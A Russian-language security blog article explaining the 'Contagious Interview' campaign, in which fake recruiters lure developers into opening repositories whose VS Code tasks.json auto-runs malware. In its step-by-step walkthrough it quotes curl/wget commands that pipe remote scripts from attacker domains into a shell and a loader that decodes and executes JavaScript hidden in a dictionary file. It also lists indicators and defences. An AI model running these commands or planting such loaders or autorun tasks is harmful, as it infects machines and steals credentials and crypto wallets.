Атака Contagious Interview: как хакеры заражают компьютеры разработчиков через VS Code

2 февраля 2026
15 минут
автор, эксперт в информационной безопасности в Start X
Андрей Жаркевич
редактор, главная по статьям в Start X
Женя Малышкина
автор, эксперт в информационной безопасности в Start X
Андрей Жаркевич
редактор, главная по статьям в Start X
Женя Малышкина
Представьте, что вам пишут в LinkedIn с предложением о работе или просьбой посмотреть код. Вы клонируете репозиторий, открываете его в VS Code, нажимаете «Доверяю» — и через секунду на вашем компьютере уже работает шпионская программа.

Она крадет пароли из браузера, данные криптокошельков и открывает хакерам полный доступ к системе. Вы ничего не заметите: окно терминала скрыто, вредоносный код замаскирован под файлы шрифтов.

Это не гипотетический сценарий, а реальная атака, которая уже затронула десятки тысяч разработчиков по всему миру. Разбираемся, как она работает и как защититься.
Скачайте карту знаний и навыков по безопасной разработке
В ней — 13 уязвимостей и технологий, которые нужно знать разработчику, чтобы писать безопасный код

Как работает атака Contagious Interview

Эту кампанию связывают с северокорейской хакерской группой, известной под разными названиями: Contagious Interview, Lazarus Group, DEV#POPPER и другими. В феврале 2025 года северокорейских хакеров связывали с кражей примерно 1,5 млрд долларов в криптовалюте у биржи Bybit — это крупнейшая финансовая кража в истории.

Цель атаки Contagious Interview — получить доступ к учетным данным и криптокошелькам разработчиков, закрепиться в системе и использовать зараженную машину для дальнейших операций.

Важно, что в этой атаке почти нет сложных технических эксплойтов. Вся цепочка строится вокруг обычной ситуации: разработчик получает ссылку на репозиторий, открывает его в VS Code и нажимает кнопку «Доверяю».

Дальше разберем, как эта атака выглядит по шагам.

Шаг 1. Злоумышленник предлагает «тестовое задание»

Все начинается с сообщения в LinkedIn или другой профессиональной сети. Разработчику пишет человек, который представляется техническим директором, рекрутером или партнером интересного проекта.

Типичные сценарии выглядят так:

  • «Мы ищем разработчика, вот тестовое задание».
  • «Посмотрите наш код, нужна ваша экспертиза».
  • «Давайте сделаем совместный проект».

Пример реального случая: жертве написал «John Meltzer», который представился как CTO проекта «Meta2140». Он отправил ссылку на страницу в Notion с описанием технического задания и URL репозитория на Bitbucket.

Шаг 2. Разработчик клонирует репозиторий

Разработчик получает ссылку на репозиторий (GitHub, Bitbucket, GitLab) с «тестовым заданием» или «проектом для ревью». Репозиторий выглядит обычным — стандартный код на JavaScript, TypeScript или Python.

Внутри репозитория находится папка .vscode/ с конфигурационными файлами. На эту папку часто не обращают внимание, потому что она выглядит как стандартные настройки редактора.

Шаг 3. Разработчик открывает проект в VS Code
Когда разработчик открывает папку проекта в Visual Studio Code, редактор показывает диалоговое окно:

«Доверяете ли вы авторам этой папки?» (Workspace Trust).

Большинство разработчиков машинально нажимают «Да, доверяю» — они сами только что скачали этот код для работы.

Это критический момент. После нажатия «Доверяю» VS Code начинает доверять настройкам этого проекта и может выполнять действия, которые заданы в конфигурационных файлах, включая автоматический запуск задач.

Шаг 4. VS Code запускает вредоносную задачу

В папке .vscode/ находится файл tasks.json — стандартный файл для автоматизации задач в VS Code. Злоумышленники добавляют в него параметр:
"runOn": "folderOpen"
Это означает: «выполнить задачу сразу при открытии папки». Пользователь ничего не запускает вручную — код стартует автоматически, если в VS Code разрешен автозапуск задач.

Вот как выглядят типичные вредоносные команды.

Для macOS:
curl 'https://www.regioncheck.xyz/settings/mac?flag=8' | bash
Для Windows:
curl --ssl-no-revoke -L https://vscodesettingstask.vercel.app/api/settings/windows | cmd
Для Linux:
wget -qO- 'https://vscode-toolkit-bootstrap.vercel.app/settings/linux?flag=306' | sh
Команда скачивает скрипт с удаленного сервера и сразу выполняет его.

Шаг 5. Злоумышленник скрывает запуск

Чтобы скрыть запуск кода, злоумышленники используют несколько приемов.

  • Скрытие окна терминала. В tasks.json добавляется параметр presentation, который прячет окно выполнения команды. Пользователь не видит, что что-то запустилось.
  • Горизонтальное смещение. Вредоносные команды смещены далеко вправо — за пределы видимой области редактора. При беглом просмотре файла они остаются незаметными.
  • Маскировка под обычные файлы. Вредоносный JavaScript-код прячут внутри файлов с безобидными расширениями: .woff2 (шрифты), .svg (картинки), .jpeg, .png, .dict (словари). Антивирусы и люди не ожидают найти исполняемый код в таких файлах.

Пример скрытого запуска:
const fs = require('node:fs');
const hex = fs.readFileSync('.vscode/spellright.dict', 'utf8')
  .replace(/[^0-9a-f]/gi, '');
const src = Buffer.from(hex, 'hex').toString('utf8');
new Function('require', src)(require);
Этот код читает «словарь для проверки орфографии», декодирует из него JavaScript и выполняет.

Шаг 6. Вредонос закрепляется в системе

После выполнения начального скрипта на компьютер жертвы устанавливаются две основные вредоносные программы.

BeaverTail (Node.js):

  • запускается сразу после заражения;
  • крадет сохраненные пароли из браузеров (Chrome, Brave, Firefox);
  • записывает нажатия клавиш (кейлоггер);
  • извлекает данные криптокошельков (Solana, Exodus);
  • на macOS крадет данные из связки ключей (Keychain);
  • устанавливает скрытый бэкдор в папке .npm.

InvisibleFerret (Python):

  • загружается примерно через 8 минут после первичного заражения;
  • обеспечивает долгосрочную слежку;
  • позволяет удаленно выполнять команды;
  • может загружать дополнительные модули;
  • используется для майнинга криптовалюты.

Шаг 7. Зараженный компьютер связывается с сервером

Зараженный компьютер начинает регулярно обращаться к серверу злоумышленников — примерно каждые 5 секунд. Он отправляет:

  • имя компьютера;
  • MAC-адреса сетевых карт;
  • версию операционной системы;
  • внешний IP-адрес (через ipify.org).

В ответ сервер может передавать команды для выполнения.

Шаг 8. VS Code выполняет код при обновлении проекта

Важный момент: после того как разработчик один раз нажал «Доверяю», VS Code запоминает это решение.

Если злоумышленник обновит репозиторий и добавит новый вредоносный код, при следующем git pull этот код выполнится автоматически — без повторного запроса доверия.

Во всей этой цепочке нет ни одной сложной уязвимости или нестандартной техники эксплуатации. Атака срабатывает не потому, что VS Code небезопасен, а потому, что разработчик делает то, что делает каждый день: открывает проект и подтверждает доверие.

Это принципиальный момент. В этом сценарии ломают не инструмент и не операционную систему, а рабочий процесс — тот самый, который используется десятки раз в день и обычно не вызывает подозрений.

Масштабы атаки Contagious Interview

По данным исследований Abstract Security, Jamf и Socket:

  • в 2024 году было обнаружено 27 вредоносных расширений для VS Code;
  • за первые 10 месяцев 2025 года — уже 105 (рост в четыре раза);
  • выявлено 67 вредоносных npm-пакетов, связанных с этой кампанией;
  • более 200 вредоносных пакетов в npm и PyPI связывают с группой Lazarus;
  • потенциально заражены до 36 000 разработчиков.

Эти данные показывают, что в зоне риска оказываются не отдельные цели, а любые команды, которые работают с внешними репозиториями и стандартными инструментами разработки.

Как распознать атаку

Подозрительные признаки в репозитории

  • Проверьте файл .vscode/tasks.json — наличие параметра «runOn»: «folderOpen» означает автоматический запуск задачи при открытии проекта.
  • Прокрутите файлы вправо — вредоносные команды часто смещены за пределы видимой области редактора.
  • Проверьте файлы с необычными расширениями — .woff2, .dict, .svg не должны содержать исполняемый JavaScript-код.
  • Изучите package.json — обратите внимание на секцию scripts, особенно на хуки preinstall и postinstall.

Подозрительные домены (индикаторы компрометации)

  • regioncheck.xyz;
  • vscode-load.onrender.com;
  • vscodesettingstask.vercel.app;
  • vscode-toolkit-bootstrap.vercel.app;
  • любые домены на vercel.app, с которых загружается исполняемый JavaScript.

Подозрительное поведение системы

  • VS Code запускает curl или wget сразу после открытия проекта.
  • Node.js выполняет файлы с расширениями .woff2, .svg, .dict.
  • Появляются неожиданные сетевые запросы к vercel.app или onrender.com.
  • В папке .npm появляются скрытые процессы или неизвестные исполняемые файлы.

Если хотя бы один из этих признаков присутствует, проект стоит считать потенциально опасным до проверки. В таких случаях лучше исходить из худшего сценария и разбирать репозиторий и поведение системы до того, как продолжать работу с кодом.

Как защититься при работе с внешними репозиториями

Для разработчиков
Не доверяйте репозиториям автоматически. Перед нажатием «Trust» всегда проверяйте содержимое папки. vscode/ и конфигурационные файлы проекта. Именно здесь чаще всего находятся механизмы автоматического запуска вредоносных задач.

Отключите автоматический запуск задач в VS Code. В настройках редактора имеет смысл явно запретить выполнение задач при открытии папки:
"task.allowAutomaticTasks": "off"
Это снимает самую опасную часть атаки — запуск кода без действий пользователя.

Не выполняйте npm install без предварительной проверки. Перед установкой зависимостей изучите файл package.json, особенно секцию scripts и хуки preinstall и postinstall. Именно в них чаще всего прячут автоматический запуск вредоносного кода.

Относитесь скептически к «тестовым заданиям» от незнакомых людей. Запрос скачать и запустить код от неизвестного контакта — повод остановиться и перепроверить источник, а не обычная рабочая ситуация.

Проверяйте отправителя и проект. Ищите информацию о человеке, компании и репозитории. В подобных кампаниях злоумышленники часто используют вымышленные или украденные личности.

Используйте изолированную среду для проверки незнакомого кода. Виртуальная машина, отдельный пользователь или отдельный профиль позволяют снизить ущерб, если проект окажется вредоносным.
Для компаний
Внедрите политику Workspace Trust на уровне компании. Запретите автоматическое доверие внешним репозиториям и централизованно настройте параметры VS Code для всех разработчиков.

Мониторьте сетевую активность рабочих станций. Отслеживайте подключения к доменам из списков индикаторов компрометации и к облачным платформам, которые часто используют для доставки вредоносного кода.

Включите атаки на цепочку поставки в программы обучения. Разработчики должны знать, как выглядят сценарии социальной инженерии и почему «тестовое задание» может быть частью атаки.

Внедрите проверку зависимостей в CI/CD. Используйте инструменты анализа npm- и pip-пакетов до установки и делайте эту проверку обязательной частью пайплайна.

Что делать, если вы уже открыли подозрительный проект


  1. Немедленно отключите компьютер от сети. Это останавливает связь с командным сервером и предотвращает получение новых команд или утечку дополнительных данных.
  2. Проверьте запущенные процессы. Обратите внимание на неожиданные процессы Node. js или Python, которые вы не запускали вручную и которые работают в фоновом режиме.
  3. Осмотрите папку .npm. В рамках этой кампании бэкдоры часто устанавливаются именно туда, чтобы переживать перезапуск системы и оставаться незаметными.
  4. Смените все учетные данные. В первую очередь те пароли, которые были сохранены в браузере, а также доступы к почте, репозиториям, облачным сервисам и корпоративным системам.
  5. Проверьте состояние криптокошельков. Если на машине хранились ключи или seed-фразы, переведите средства на новый кошелек, созданный на чистом устройстве.
  6. Просканируйте систему антивирусом и средствами EDR. Даже если вредонос не определяется стандартными сигнатурами, это может помочь выявить часть компонентов или аномальное поведение.
  7. Рассмотрите переустановку системы. В случае этой кампании это единственный надежный способ гарантированно удалить все установленные бэкдоры и вспомогательные модули.

Если в вашей команде разработчики работают с внешними репозиториями, npm- и pip-зависимостями и инструментами вроде VS Code, важно, чтобы они понимали, как выглядят реальные сценарии атак и где именно возникает риск.

В Start EDU мы обучаем команды безопасной разработке через практические кейсы и инженерные темы, которые напрямую связаны с такими атаками. Запишитесь на бесплатное демо, чтобы посмотреть, как обучение помогает снижать риски атак вроде Contagious Interview на уровне повседневных рабочих процессов.

Что еще почитать

Мужчина в кресле с ноутбуком

Подпишитесь на дайджест Start X

Еженедельная подборка материалов и аналитики про цифровые атаки на людей, технологии защиты, безопасность инфраструктуры и приложений